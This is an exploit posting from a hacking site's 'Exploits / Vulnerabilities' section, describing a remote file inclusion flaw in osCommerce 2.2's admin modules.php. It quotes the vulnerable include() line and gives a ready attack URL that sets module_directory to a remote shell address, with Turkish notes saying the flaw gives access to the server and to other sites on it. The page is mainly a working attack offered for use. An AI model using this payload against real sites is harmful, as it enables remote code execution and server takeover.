Oscommerce 2.2 ~ RFI Bug | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Oscommerce 2.2 ~ RFI Bug

Madde
	Author : Bug Researchers
	Date : 11.02.2008 19:07:37
	# Oscommerce 2.2 ~ RFI Bug [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Oscommerce 2.2 # Vulnerable Type : Remote File Include # Infection : Site üzerinde bulunan hatadan yararlanilarak, sunucuya ve sunucudaki diger sitelere erisim saglanabilir. # Bug Fix Advice : Sunucu tarafli fonksiyonlar gözden geçirilmeli. # author : Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > include($module_directory . $file) /catalog/admin/modules.php Attack -> Site.Com/Patch/catalog/admin/modules.php?module_directory=Http://Shell Add? < -- bug code end of -- >